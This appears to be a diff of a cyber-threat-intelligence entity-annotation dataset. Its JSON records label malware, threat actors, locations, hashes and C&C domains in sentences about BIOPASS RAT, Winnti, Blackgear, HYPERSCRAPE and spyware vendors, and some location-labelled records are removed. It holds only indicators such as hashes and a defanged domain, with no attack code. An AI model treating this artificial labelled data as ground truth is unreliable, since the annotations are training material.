Potential links with the Winnti group","entities":[{"id":48944,"label":"threat-actor","start_offset":87,"end_offset":99},{"id":48943,"label":"tools","start_offset":48,"end_offset":57}],"relations":[{"id":505,"from_id":48944,"to_id":48943,"type":"uses"}],"Comments":[]} {"id":3337,"text":"We have found several connections between BIOPASS RAT and the Winnti Group:","entities":[{"id":10096,"label":"malware","start_offset":42,"end_offset":53},{"id":48945,"label":"threat-actor","start_offset":62,"end_offset":74}],"relations":[{"id":506,"from_id":48945,"to_id":10096,"type":"uses"}],"Comments":[]} {"id":3338,"text":"1. We discovered that many BIOPASS RAT loader binaries were signed with two valid certificates.","entities":[{"id":48946,"label":"malware","start_offset":32,"end_offset":43}],"relations":[],"Comments":[]} -{"id":3339,"text":"However, these certificates are likely stolen from game studios from South Korea and Taiwan.","entities":[{"id":48947,"label":"location","start_offset":69,"end_offset":80},{"id":48948,"label":"location","start_offset":85,"end_offset":91}],"relations":[],"Comments":[]} {"id":3340,"text":"It is well known that the Winnti Group has previously used stolen certificates from game studios to sign its malware.","entities":[{"id":48950,"label":"attack-pattern","start_offset":59,"end_offset":78},{"id":48949,"label":"threat-actor","start_offset":26,"end_offset":38}],"relations":[{"id":507,"from_id":48949,"to_id":48950,"type":"uses"}],"Comments":[]} {"id":3341,"text":" Certificate Thumbprint Valid From Valid To EFB70718BC00393A01694F255A28E30E9D2142A4 12:00 a.m., Jan. 2, 2019 11:59 p.m., Mar. 2, 2021 8CE020AA874902C532B9911A4DCA8EFFA627DC80 12:00 a.m., Sept. 6, 2018 11:59 p.m., Oct. 5, 2021 Table 3.","entities":[{"id":48951,"label":"TIME","start_offset":89,"end_offset":114},{"id":48952,"label":"TIME","start_offset":116,"end_offset":140},{"id":48954,"label":"TIME","start_offset":211,"end_offset":235},{"id":48953,"label":"TIME","start_offset":184,"end_offset":209}],"relations":[],"Comments":[]} {"id":3342,"text":"Information from the stolen certificates 2. While checking the stolen certificates, we found a server-side variant of the Derusbi malware sample (e5fdb754c1a7c36c288c46765c9258bb2c7f38fa2a99188a623182f877da3783) that was signed with the same stolen certificate.","entities":[{"id":10119,"label":"SHA2","start_offset":153,"end_offset":217},{"id":48955,"label":"malware","start_offset":129,"end_offset":144}],"relations":[{"id":508,"from_id":10119,"to_id":48955,"type":"indicates"}],"Comments":[]} @@ -424,14 +2403,12 @@ {"id":3344,"text":"The server-side variant has also been noted to be used as a malware loader by the Winnti Group.","entities":[{"id":48956,"label":"threat-actor","start_offset":82,"end_offset":94}],"relations":[],"Comments":[]} {"id":3345,"text":"3. We found an interesting Cobalt Strike loader (a7e9e2bec3ad283a9a0b130034e822c8b6dfd26dda855f883a3a4ff785514f97) that embeds a URL that leads to the BIOPASS RAT loader.","entities":[{"id":10125,"label":"SHA2","start_offset":54,"end_offset":118},{"id":10126,"label":"malware","start_offset":156,"end_offset":167},{"id":48957,"label":"tools","start_offset":32,"end_offset":45}],"relations":[{"id":509,"from_id":10125,"to_id":48957,"type":"indicates"},{"id":510,"from_id":10125,"to_id":10126,"type":"drops"}],"Comments":[]} {"id":3346,"text":"However, the URL is unused and was likely left inside the loader as a mistake.","entities":[],"relations":[],"Comments":[]} -{"id":3347,"text":"This file has also been mentioned in a recent report that connects it to an attack on a major certification authority (CA) in Mongolia.","entities":[{"id":48958,"label":"location","start_offset":126,"end_offset":134}],"relations":[],"Comments":[]} {"id":3348,"text":"The Cobalt Strike loader, which has a PDB string “C:\\Users\\test\\Desktop\\fishmaster\\x64\\Release\\fishmaster.pdb”, connects to the C&C server “download[.]google-images[.]ml”.","entities":[{"id":48959,"label":"tools","start_offset":4,"end_offset":17},{"id":48960,"label":"FILEPATH","start_offset":50,"end_offset":109},{"id":48961,"label":"DOMAIN","start_offset":140,"end_offset":169}],"relations":[{"id":511,"from_id":48960,"to_id":48959,"type":"indicates"},{"id":514,"from_id":48959,"to_id":48961,"type":"beacons-to"}],"Comments":[]} {"id":3349,"text":"The domains and the PDB string have been mentioned in a recent report and have been attributed to the Winnti Group.","entities":[{"id":48962,"label":"threat-actor","start_offset":102,"end_offset":114}],"relations":[],"Comments":[]} {"id":3350,"text":"While these connections allow us to link the malware to the Winnti Group, the different targets between BIOPASS RAT and the current operations by Winnti’s that we are tracking makes associating the two more difficult.","entities":[{"id":48963,"label":"threat-actor","start_offset":60,"end_offset":72},{"id":48964,"label":"malware","start_offset":104,"end_offset":115},{"id":48965,"label":"threat-actor","start_offset":146,"end_offset":152}],"relations":[{"id":515,"from_id":48963,"to_id":48964,"type":"uses"}],"Comments":[]} {"id":3351,"text":"BIOPASS RAT highlights the importance of downloading from trusted sources BIOPASS RAT is a sophisticated type of malware that is implemented as Python scripts.","entities":[{"id":48967,"label":"malware","start_offset":74,"end_offset":85},{"id":48966,"label":"malware","start_offset":0,"end_offset":11}],"relations":[],"Comments":[]} {"id":3352,"text":"It possesses many features, such as the ability to use scheduled tasks as a method of maintaining persistence in the infected system.","entities":[],"relations":[],"Comments":[]} {"id":3353,"text":" The malware abuses publicly available tools and cloud services for its malicious behavior.","entities":[],"relations":[],"Comments":[]} -{"id":3354,"text":" Notably, a large number of features were implemented to target and steal the private data of popular web browsers and instant mes\\sengers that are primarily used in Mainland China.","entities":[{"id":48968,"label":"location","start_offset":166,"end_offset":180}],"relations":[],"Comments":[]} {"id":3355,"text":"Given that the malware loader was delivered as an executable disguised as a legitimate update installer on a compromised website, we advise users to be careful with regard to the applications that they download.","entities":[],"relations":[],"Comments":[]} {"id":3356,"text":"As much as possible, it is recommended to download apps only from trusted sources and official websites to avoid being compromised by attacks such as the one discussed here.","entities":[],"relations":[],"Comments":[]} {"id":3357,"text":"Organizations can also help protect their end users by implementing security solutions that provide a multilayered defense system that helps with detecting, scanning, and blocking malicious URLs.","entities":[],"relations":[],"Comments":[]} @@ -532,7 +2509,6 @@ {"id":3452,"text":" Please mark, I'm not a robot! ","entities":[],"relations":[],"Comments":[]} {"id":3453,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[],"relations":[],"Comments":[]} {"id":3454,"text":"Blackgear (also known as Topgear and Comnie) is a cyberespionage campaign dating back to 2008, at least based on the Protux backdoor used by its operators.","entities":[{"id":49232,"label":"campaign","start_offset":0,"end_offset":9},{"id":49233,"label":"campaign","start_offset":25,"end_offset":32},{"id":49234,"label":"campaign","start_offset":37,"end_offset":43},{"id":49235,"label":"TIME","start_offset":89,"end_offset":93},{"id":49236,"label":"malware","start_offset":117,"end_offset":132}],"relations":[{"id":761,"from_id":49233,"to_id":49232,"type":"duplicate-of"},{"id":762,"from_id":49234,"to_id":49232,"type":"duplicate-of"}],"Comments":[]} -{"id":3455,"text":"It targets organizations in Japan, South Korea, and Taiwan, leveling its attacks on public sector agencies and telecommunications and other high-technology industries.","entities":[{"id":49237,"label":"location","start_offset":28,"end_offset":33},{"id":49238,"label":"location","start_offset":35,"end_offset":46},{"id":49239,"label":"location","start_offset":52,"end_offset":58}],"relations":[],"Comments":[]} {"id":3456,"text":"In 2016, for instance, we found their campaigns attacking Japanese organizations with various malware tools, notably the Elirks backdoor.","entities":[{"id":49240,"label":"TIME","start_offset":3,"end_offset":7},{"id":49241,"label":"malware","start_offset":121,"end_offset":127}],"relations":[],"Comments":[]} {"id":3457,"text":"Blackgear’s operators are well-organized, developing their own tools, which we observed to have been recently fine-tuned, based on their latest attacks.","entities":[{"id":49242,"label":"threat-actor","start_offset":0,"end_offset":21}],"relations":[],"Comments":[]} {"id":3458,"text":"A notable characteristic of Blackgear is the degree to which its attacks are taken to evade detection, abusing blogging, microblogging, and social media services to hide its command-and-control (C&C) configuration.","entities":[{"id":49244,"label":"attack-pattern","start_offset":86,"end_offset":101},{"id":49247,"label":"attack-pattern","start_offset":165,"end_offset":213},{"id":49248,"label":"attack-pattern","start_offset":103,"end_offset":161},{"id":49243,"label":"threat-actor","start_offset":28,"end_offset":37}],"relations":[{"id":763,"from_id":49243,"to_id":49244,"type":"uses"},{"id":765,"from_id":49243,"to_id":49247,"type":"uses"},{"id":766,"from_id":49243,"to_id":49248,"type":"uses"}],"Comments":[]} @@ -1306,8 +3282,6 @@ {"id":4226,"text":"This function is similar to the various versions of backdoors (such as sctrls and sip_telephone) that we analyzed in our previous blog post and whitepaper.","entities":[],"relations":[],"Comments":[]} {"id":4227,"text":"An interesting feature of the downloader: It uses an online service to retrieve the victim's IP address and country, which it compares with a list of allowed countries.","entities":[],"relations":[],"Comments":[]} {"id":4228,"text":"If the victim seemingly comes from a different country, the program will self-delete and quit.","entities":[],"relations":[],"Comments":[]} -{"id":4229,"text":"This list contains: Most of the South and Southeast Asian countries (including Mongolia) Most of the Middle Eastern countries","entities":[{"id":50035,"label":"location","start_offset":33,"end_offset":58},{"id":50036,"label":"location","start_offset":80,"end_offset":88},{"id":50037,"label":"location","start_offset":102,"end_offset":126}],"relations":[],"Comments":[]} -{"id":4230,"text":"Most of the African countries Only Ukraine in Europe Only Trinidad and Tobago in the Americas No country from Oceania Figure 5.","entities":[{"id":50038,"label":"location","start_offset":35,"end_offset":42},{"id":50039,"label":"location","start_offset":46,"end_offset":52},{"id":50042,"label":"location","start_offset":110,"end_offset":117},{"id":50040,"label":"location","start_offset":58,"end_offset":77},{"id":50041,"label":"location","start_offset":85,"end_offset":93}],"relations":[],"Comments":[]} {"id":4231,"text":"Excerpt of the valid country list We noted that it does both client-side and server-side IP filtering, showing that the attacker has improved its infrastructure.","entities":[],"relations":[],"Comments":[]} {"id":4232,"text":"At the end of last year, a C&C from the same threat actor was not only accessible from any IP address, but it was possible to browse the server directory tree without authentication.","entities":[],"relations":[],"Comments":[]} {"id":4233,"text":"After impersonating a fake victim of interest, we obtained a second stage payload (Detected as TROJ_DELF.XXWZ), which is a filestealer based on the Delphi programming language similar to the “svctrls” malware described in our previous blogpost.","entities":[{"id":50043,"label":"malware","start_offset":95,"end_offset":109}],"relations":[],"Comments":[]} @@ -1455,7 +3429,6 @@ {"id":4375,"text":"Now, we’re shining light on a new tool of theirs.","entities":[],"relations":[],"Comments":[]} {"id":4376,"text":"In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.","entities":[{"id":13122,"label":"threat-actor","start_offset":41,"end_offset":56},{"id":50182,"label":"TIME","start_offset":3,"end_offset":16},{"id":50183,"label":"identity","start_offset":18,"end_offset":21},{"id":50188,"label":"attack-pattern","start_offset":90,"end_offset":105},{"id":50186,"label":"SOFTWARE","start_offset":118,"end_offset":124},{"id":50184,"label":"malware","start_offset":69,"end_offset":80},{"id":50185,"label":"SOFTWARE","start_offset":111,"end_offset":116},{"id":50187,"label":"SOFTWARE","start_offset":130,"end_offset":147}],"relations":[{"id":926,"from_id":50184,"to_id":13122,"type":"authored-by"},{"id":927,"from_id":50184,"to_id":50188,"type":"uses"},{"id":928,"from_id":50184,"to_id":50185,"type":"targets"},{"id":929,"from_id":50184,"to_id":50186,"type":"targets"},{"id":930,"from_id":50184,"to_id":50187,"type":"targets"}],"Comments":[]} {"id":4377,"text":"The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.","entities":[{"id":50189,"label":"malware","start_offset":18,"end_offset":29}],"relations":[],"Comments":[]} -{"id":4378,"text":"We have seen it deployed against fewer than two dozen accounts located in Iran.","entities":[{"id":50190,"label":"location","start_offset":74,"end_offset":78}],"relations":[],"Comments":[]} {"id":4379,"text":"The oldest known sample is from 2020, and the tool is still under active development.","entities":[{"id":50191,"label":"TIME","start_offset":32,"end_offset":36}],"relations":[],"Comments":[]} {"id":4380,"text":"We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings.","entities":[],"relations":[],"Comments":[]} {"id":4381,"text":"This post will provide technical details about HYPERSCRAPE, similar to PWC’s recently published analysis on a Telegram grabber tool.","entities":[{"id":50192,"label":"malware","start_offset":47,"end_offset":58},{"id":50194,"label":"malware","start_offset":110,"end_offset":131},{"id":50193,"label":"identity","start_offset":71,"end_offset":75}],"relations":[],"Comments":[]} @@ -1568,8 +3541,6 @@ {"id":4488,"text":"Seven of the nine zero-day vulnerabilities our Threat Analysis Group discovered in 2021 were originally developed by commercial providers and sold to and used by state-sponsored actors.","entities":[{"id":50293,"label":"identity","start_offset":47,"end_offset":68},{"id":50294,"label":"vulnerability","start_offset":18,"end_offset":42}],"relations":[],"Comments":[]} {"id":4489,"text":"TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to state-sponsored actors.","entities":[{"id":50295,"label":"identity","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]} {"id":4490,"text":"This industry appears to be thriving.","entities":[],"relations":[],"Comments":[]} -{"id":4491,"text":"In fact, there was recently a large industry conference in Europe, sponsored by many of the commercial spyware vendors we track.","entities":[{"id":50296,"label":"location","start_offset":59,"end_offset":65}],"relations":[],"Comments":[]} -{"id":4492,"text":"This trend should be concerning to the United States and all citizens.","entities":[{"id":50297,"label":"location","start_offset":39,"end_offset":52}],"relations":[],"Comments":[]} {"id":4493,"text":"These vendors are enabling the proliferation of dangerous hacking tools, arming nation state actors that would not otherwise be able to develop these capabilities in-house.","entities":[],"relations":[],"Comments":[]} {"id":4494,"text":"While use of surveillance technologies may be legal under national or international laws, they are found to be used by some state actors for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers, and opposition party politicians.","entities":[],"relations":[],"Comments":[]} {"id":4495,"text":"We have also observed proliferation risk from nation state actors attempting to gain access to the exploits of these vendors.","entities":[],"relations":[],"Comments":[]} @@ -1611,12 +3582,10 @@ {"id":4531,"text":" We believe it is time for government, industry and civil society to come together to change the incentive structure which has allowed these technologies to spread in secret.","entities":[],"relations":[],"Comments":[]} {"id":4532,"text":"The first step is to understand the scope of the problem.","entities":[],"relations":[],"Comments":[]} {"id":4533,"text":"We appreciate the Committee’s focus on this issue, and recommend the U.S. Intelligence Community prioritize identifying and analyzing threats from foreign commercial spyware providers as being on par with other major advanced threat actors.","entities":[{"id":50327,"label":"identity","start_offset":69,"end_offset":96}],"relations":[],"Comments":[]} -{"id":4534,"text":"The U.S. should also consider ways to foster greater transparency in the marketplace, including setting heightened transparency requirements for the domestic surveillance industry.","entities":[{"id":50328,"label":"location","start_offset":4,"end_offset":8}],"relations":[],"Comments":[]} {"id":4535,"text":"The U.S. could also set an example to other governments by reviewing and disclosing its own historical use of these tools.","entities":[{"id":50329,"label":"identity","start_offset":4,"end_offset":8}],"relations":[],"Comments":[]} {"id":4536,"text":"We welcome recent steps taken by the government in applying sanctions to the NSO Group and Candiru, and we believe other governments should consider expanding these restrictions.","entities":[{"id":50330,"label":"threat-actor","start_offset":77,"end_offset":86},{"id":50331,"label":"threat-actor","start_offset":91,"end_offset":98}],"relations":[],"Comments":[]} {"id":4537,"text":"Additionally, the U.S. government should consider a full ban on Federal procurement of commercial spyware technologies and contemplate imposing further sanctions to limit spyware vendors’ ability to operate in the U.S. and receive U.S. investment.","entities":[{"id":50332,"label":"identity","start_offset":18,"end_offset":33},{"id":50333,"label":"location","start_offset":214,"end_offset":218},{"id":50334,"label":"location","start_offset":231,"end_offset":235}],"relations":[],"Comments":[]} {"id":4538,"text":"The harms from this industry are amply evident by this point, and we believe they outweigh any benefit to continued use.","entities":[],"relations":[],"Comments":[]} -{"id":4539,"text":"Finally, we urge the United States to lead a diplomatic effort to work with the governments of the countries who harbor problematic vendors, as well as those who employ these tools, to build support for measures that limit harms caused by this industry.","entities":[{"id":50335,"label":"location","start_offset":21,"end_offset":34}],"relations":[],"Comments":[]} {"id":4540,"text":"Any one government’s ability to meaningfully impact this market is limited; only through a concerted international effort can this serious risk to online safety be mitigated.","entities":[],"relations":[],"Comments":[]} {"id":4541,"text":"Google is investing heavily as a company and as an industry to counter serious threats to our users.","entities":[{"id":50336,"label":"identity","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]} {"id":4542,"text":"In the modern world, we must be able to trust the devices we use every day and ensure that foreign adversaries do not have access to sophisticated exploits.","entities":[],"relations":[],"Comments":[]} @@ -1627,7 +3596,6 @@ {"id":4547,"text":"Many Russian government cyber assets have remained focused on Ukraine and related issues since the invasion began, while Russian APT activity outside of Ukraine largely remains the same.","entities":[{"id":50344,"label":"location","start_offset":153,"end_offset":160},{"id":50342,"label":"location","start_offset":62,"end_offset":69},{"id":50343,"label":"threat-actor","start_offset":121,"end_offset":132},{"id":50346,"label":"threat-actor","start_offset":5,"end_offset":36}],"relations":[{"id":943,"from_id":50346,"to_id":50342,"type":"targets"}],"Comments":[]} {"id":4548,"text":"TAG continues to disrupt campaigns from multiple sets of Russian government-backed attackers, some of which are detailed in our previous updates.","entities":[{"id":50347,"label":"identity","start_offset":0,"end_offset":3},{"id":50348,"label":"threat-actor","start_offset":57,"end_offset":92}],"relations":[],"Comments":[]} {"id":4549,"text":"Similarly, Russian observed disinformation efforts are also focused on the war in Ukraine and TAG has disrupted coordinated influence operations from several actors including the Internet Research Agency and a Russian consulting firm as detailed in the TAG Bulletin.","entities":[{"id":50351,"label":"threat-actor","start_offset":179,"end_offset":203},{"id":50349,"label":"location","start_offset":82,"end_offset":89},{"id":50350,"label":"identity","start_offset":94,"end_offset":97},{"id":50352,"label":"threat-actor","start_offset":210,"end_offset":233},{"id":50353,"label":"identity","start_offset":253,"end_offset":256}],"relations":[{"id":944,"from_id":50351,"to_id":50349,"type":"targets"},{"id":945,"from_id":50352,"to_id":50349,"type":"targets"}],"Comments":[]} -{"id":4550,"text":"Most of these coordinated influence operations are Russian language efforts aimed at ensuring domestic support in Russia for the war.","entities":[{"id":50354,"label":"location","start_offset":114,"end_offset":120}],"relations":[],"Comments":[]} {"id":4551,"text":"Here is a deeper look at some campaign activity TAG has observed since our last update: Turla, a group publicly attributed to Russia’s Federal Security Service (FSB), recently hosted Android apps on a domain spoofing the Ukrainian Azov Regiment.","entities":[{"id":50355,"label":"identity","start_offset":48,"end_offset":51},{"id":50356,"label":"threat-actor","start_offset":88,"end_offset":93},{"id":50357,"label":"identity","start_offset":135,"end_offset":165},{"id":50358,"label":"location","start_offset":126,"end_offset":132},{"id":50359,"label":"SOFTWARE","start_offset":183,"end_offset":190},{"id":50360,"label":"identity","start_offset":221,"end_offset":244}],"relations":[{"id":946,"from_id":50356,"to_id":50357,"type":"attributed-to"},{"id":947,"from_id":50357,"to_id":50358,"type":"located-at"},{"id":948,"from_id":50357,"to_id":50360,"type":"impersonates"}],"Comments":[]} {"id":4552,"text":"This is the first known instance of Turla distributing Android-related malware.","entities":[{"id":50361,"label":"threat-actor","start_offset":36,"end_offset":41},{"id":50362,"label":"SOFTWARE","start_offset":55,"end_offset":62}],"relations":[{"id":949,"from_id":50361,"to_id":50362,"type":"targets"}],"Comments":[]} {"id":4553,"text":"The apps were not distributed through the Google Play Store, but hosted on a domain controlled by the actor and disseminated via links on third party messaging services.","entities":[{"id":50363,"label":"SOFTWARE","start_offset":42,"end_offset":59}],"relations":[],"Comments":[]} @@ -1652,11 +3620,9 @@ {"id":4572,"text":"An example of this technique, used to target Facebook users, can be seen in the screenshot below.","entities":[{"id":50414,"label":"SOFTWARE","start_offset":45,"end_offset":53}],"relations":[],"Comments":[]} {"id":4573,"text":"COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to send credential phishing emails to targets including government and defense officials, politicians, NGOs and think tanks, and journalists.","entities":[{"id":50416,"label":"threat-actor","start_offset":65,"end_offset":73},{"id":50415,"label":"threat-actor","start_offset":0,"end_offset":9},{"id":50417,"label":"attack-pattern","start_offset":88,"end_offset":119}],"relations":[{"id":967,"from_id":50416,"to_id":50415,"type":"duplicate-of"},{"id":968,"from_id":50415,"to_id":50417,"type":"uses"}],"Comments":[]} {"id":4574,"text":"In addition to including phishing links directly in the email, the attackers also link to PDFs and\/or DOCs, hosted on Google Drive and Microsoft One Drive, that contain a link to an attacker-controlled phishing domain.","entities":[{"id":50420,"label":"SOFTWARE","start_offset":118,"end_offset":130},{"id":50419,"label":"attack-pattern","start_offset":25,"end_offset":39},{"id":50421,"label":"SOFTWARE","start_offset":135,"end_offset":154}],"relations":[],"Comments":[]} -{"id":4575,"text":"In at least one case, unrelated to Ukraine, they have leaked information from a compromised account.","entities":[{"id":50422,"label":"location","start_offset":35,"end_offset":42}],"relations":[],"Comments":[]} {"id":4576,"text":"These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.","entities":[],"relations":[],"Comments":[]} {"id":4577,"text":"Recently observed COLDRIVER indicators: In another campaign tracked by CERT-UA as UAC-0056 we observed compromised email addresses of a Regional Prosecutor’s office of Ukraine leveraged to send malicious Microsoft Excel documents with VBA macros delivering Cobalt Strike.","entities":[{"id":50428,"label":"tools","start_offset":257,"end_offset":270},{"id":50424,"label":"identity","start_offset":71,"end_offset":78},{"id":50425,"label":"threat-actor","start_offset":82,"end_offset":90},{"id":50427,"label":"SOFTWARE","start_offset":204,"end_offset":219},{"id":50423,"label":"threat-actor","start_offset":18,"end_offset":27},{"id":50426,"label":"identity","start_offset":136,"end_offset":175}],"relations":[{"id":969,"from_id":50423,"to_id":50425,"type":"duplicate-of"},{"id":970,"from_id":50423,"to_id":50426,"type":"impersonates"}],"Comments":[]} {"id":4578,"text":"In just two days, the volume observed and categorized as spam by Gmail exceeded 4,500 emails.","entities":[{"id":50429,"label":"SOFTWARE","start_offset":65,"end_offset":70}],"relations":[],"Comments":[]} -{"id":4579,"text":"Email contents vary from COVID-19 vaccine policy to the humanitarian crisis in Ukraine.","entities":[{"id":50430,"label":"location","start_offset":79,"end_offset":86}],"relations":[],"Comments":[]} {"id":4580,"text":"Last March it seemed the world came to a stand-still as the COVID-19 pandemic begin to rapidly spread.","entities":[{"id":50431,"label":"TIME","start_offset":0,"end_offset":10}],"relations":[],"Comments":[]} {"id":4581,"text":"While businesses, sporting events, and schools started shutting down, cybercriminals remained active as ever.","entities":[],"relations":[],"Comments":[]} {"id":4582,"text":"In 2020, the Trend Micro Zero Day Initiative™ (ZDI) published 1,453 advisories, the most ever in the history of the program.","entities":[{"id":50433,"label":"identity","start_offset":13,"end_offset":51},{"id":50432,"label":"TIME","start_offset":3,"end_offset":7}],"relations":[],"Comments":[]} @@ -1708,7 +3674,6 @@ {"id":4628,"text":"Now, we’re shining light on a new tool of theirs.","entities":[],"relations":[],"Comments":[]} {"id":4629,"text":"In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.","entities":[{"id":50543,"label":"identity","start_offset":18,"end_offset":21},{"id":50544,"label":"threat-actor","start_offset":41,"end_offset":56},{"id":50545,"label":"malware","start_offset":69,"end_offset":80},{"id":50546,"label":"SOFTWARE","start_offset":111,"end_offset":116},{"id":50542,"label":"TIME","start_offset":3,"end_offset":16},{"id":50547,"label":"SOFTWARE","start_offset":118,"end_offset":124},{"id":50548,"label":"SOFTWARE","start_offset":130,"end_offset":147}],"relations":[{"id":982,"from_id":50545,"to_id":50544,"type":"authored-by"}],"Comments":[]} {"id":4630,"text":"The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.","entities":[{"id":50549,"label":"malware","start_offset":18,"end_offset":29}],"relations":[],"Comments":[]} -{"id":4631,"text":"We have seen it deployed against fewer than two dozen accounts located in Iran.","entities":[{"id":50550,"label":"location","start_offset":74,"end_offset":78}],"relations":[],"Comments":[]} {"id":4632,"text":"The oldest known sample is from 2020, and the tool is still under active development.","entities":[{"id":50551,"label":"TIME","start_offset":32,"end_offset":36}],"relations":[],"Comments":[]} {"id":4633,"text":"We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings.","entities":[],"relations":[],"Comments":[]} {"id":4634,"text":"This post will provide technical details about HYPERSCRAPE, similar to PWC’s recently published analysis on a Telegram grabber tool.","entities":[{"id":50552,"label":"malware","start_offset":47,"end_offset":58},{"id":50554,"label":"SOFTWARE","start_offset":110,"end_offset":118},{"id":50553,"label":"identity","start_offset":71,"end_offset":74}],"relations":[],"Comments":[]} @@ -1821,13 +3786,10 @@ {"id":4741,"text":"Seven of the nine zero-day vulnerabilities our Threat Analysis Group discovered in 2021 were originally developed by commercial providers and sold to and used by state-sponsored actors.","entities":[{"id":50653,"label":"identity","start_offset":47,"end_offset":68},{"id":50654,"label":"TIME","start_offset":83,"end_offset":87}],"relations":[],"Comments":[]} {"id":4742,"text":"TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to state-sponsored actors.","entities":[{"id":50655,"label":"identity","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]} {"id":4743,"text":"This industry appears to be thriving.","entities":[],"relations":[],"Comments":[]} -{"id":4744,"text":"In fact, there was recently a large industry conference in Europe, sponsored by many of the commercial spyware vendors we track.","entities":[{"id":50656,"label":"location","start_offset":59,"end_offset":65}],"relations":[],"Comments":[]} -{"id":4745,"text":"This trend should be concerning to the United States and all citizens.","entities":[{"id":50657,"label":"location","start_offset":39,"end_offset":52}],"relations":[],"Comments":[]} {"id":4746,"text":"These vendors are enabling the proliferation of dangerous hacking tools, arming nation state actors that would not otherwise be able to develop these capabilities in-house.","entities":[],"relations":[],"Comments":[]} {"id":4747,"text":"While use of surveillance technologies may be legal under national or international laws, they are found to be used by some state actors for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers, and opposition party politicians.","entities":[],"relations":[],"Comments":[]} {"id":4748,"text":"We have also observed proliferation risk from nation state actors attempting to gain access to the exploits of these vendors.","entities":[],"relations":[],"Comments":[]} {"id":4749,"text":"Last year, TAG identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.","entities":[{"id":50658,"label":"identity","start_offset":11,"end_offset":14}],"relations":[],"Comments":[]} -{"id":4750,"text":"The actors behind this campaign, which we attributed to a government-backed entity based in North Korea, have employed a number of means to target researchers.","entities":[{"id":50659,"label":"location","start_offset":92,"end_offset":103}],"relations":[],"Comments":[]} {"id":4751,"text":"In addition to these concerns, there are other reasons why this industry presents a risk more broadly across the Internet.","entities":[],"relations":[],"Comments":[]} {"id":4752,"text":"While vulnerability research is an important contributor to online safety when that research is used to improve the security of products, vendors stockpiling zero-day vulnerabilities in secret can pose a severe risk to the Internet when the vendor itself gets compromised.","entities":[],"relations":[],"Comments":[]} {"id":4753,"text":"This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.","entities":[],"relations":[],"Comments":[]} @@ -1858,7 +3820,6 @@ {"id":4778,"text":"Project Zero is also a critical component of this strategy, pushing transparency and more timely patching of vulnerabilities.","entities":[{"id":50679,"label":"identity","start_offset":0,"end_offset":12}],"relations":[],"Comments":[]} {"id":4779,"text":"Finally, we also offer the leading tools to protect important civil society actors such as journalists, human rights workers, opposition party politicians, and campaign organizations – in other words, the users who are frequently targeted by surveillance tools.","entities":[],"relations":[],"Comments":[]} {"id":4780,"text":"Google developed Project Shield, a free protection against distributed denial of service (DDoS) attacks, to protect news media and human rights organization websites.","entities":[{"id":50680,"label":"identity","start_offset":0,"end_offset":6},{"id":50681,"label":"attack-pattern","start_offset":59,"end_offset":95}],"relations":[],"Comments":[]} -{"id":4781,"text":"We recently expanded eligibility to protect Ukraine government organizations, and we are currently protecting over 200 Ukraine websites today.","entities":[{"id":50682,"label":"location","start_offset":44,"end_offset":51},{"id":50683,"label":"location","start_offset":119,"end_offset":126}],"relations":[],"Comments":[]} {"id":4782,"text":"To protect high risk user accounts, we offer the Advanced Protection Program (APP), which is our highest form of account security.","entities":[],"relations":[],"Comments":[]} {"id":4783,"text":"APP has a strong track record protecting users – since the program’s inception, there are no documented cases of an account compromise via phishing.","entities":[{"id":50685,"label":"attack-pattern","start_offset":116,"end_offset":147}],"relations":[],"Comments":[]} {"id":4784,"text":" We believe it is time for government, industry and civil society to come together to change the incentive structure which has allowed these technologies to spread in secret.","entities":[],"relations":[],"Comments":[]} @@ -1880,7 +3841,6 @@ {"id":4800,"text":"Many Russian government cyber assets have remained focused on Ukraine and related issues since the invasion began, while Russian APT activity outside of Ukraine largely remains the same.","entities":[{"id":50702,"label":"location","start_offset":62,"end_offset":69},{"id":50703,"label":"threat-actor","start_offset":121,"end_offset":132},{"id":50704,"label":"location","start_offset":153,"end_offset":160},{"id":50701,"label":"threat-actor","start_offset":5,"end_offset":36}],"relations":[{"id":986,"from_id":50701,"to_id":50702,"type":"targets"}],"Comments":[]} {"id":4801,"text":"TAG continues to disrupt campaigns from multiple sets of Russian government-backed attackers, some of which are detailed in our previous updates.","entities":[{"id":50705,"label":"identity","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]} {"id":4802,"text":"Similarly, Russian observed disinformation efforts are also focused on the war in Ukraine and TAG has disrupted coordinated influence operations from several actors including the Internet Research Agency and a Russian consulting firm as detailed in the TAG Bulletin.","entities":[{"id":50710,"label":"threat-actor","start_offset":179,"end_offset":203},{"id":50707,"label":"identity","start_offset":94,"end_offset":97},{"id":50709,"label":"attack-pattern","start_offset":28,"end_offset":42},{"id":50711,"label":"threat-actor","start_offset":210,"end_offset":233},{"id":50706,"label":"location","start_offset":82,"end_offset":89},{"id":50708,"label":"location","start_offset":11,"end_offset":18},{"id":50712,"label":"identity","start_offset":253,"end_offset":256}],"relations":[{"id":987,"from_id":50710,"to_id":50709,"type":"uses"},{"id":988,"from_id":50711,"to_id":50709,"type":"uses"},{"id":989,"from_id":50710,"to_id":50708,"type":"located-at"},{"id":990,"from_id":50711,"to_id":50708,"type":"located-at"},{"id":991,"from_id":50710,"to_id":50706,"type":"targets"},{"id":992,"from_id":50711,"to_id":50706,"type":"targets"}],"Comments":[]} -{"id":4803,"text":"Most of these coordinated influence operations are Russian language efforts aimed at ensuring 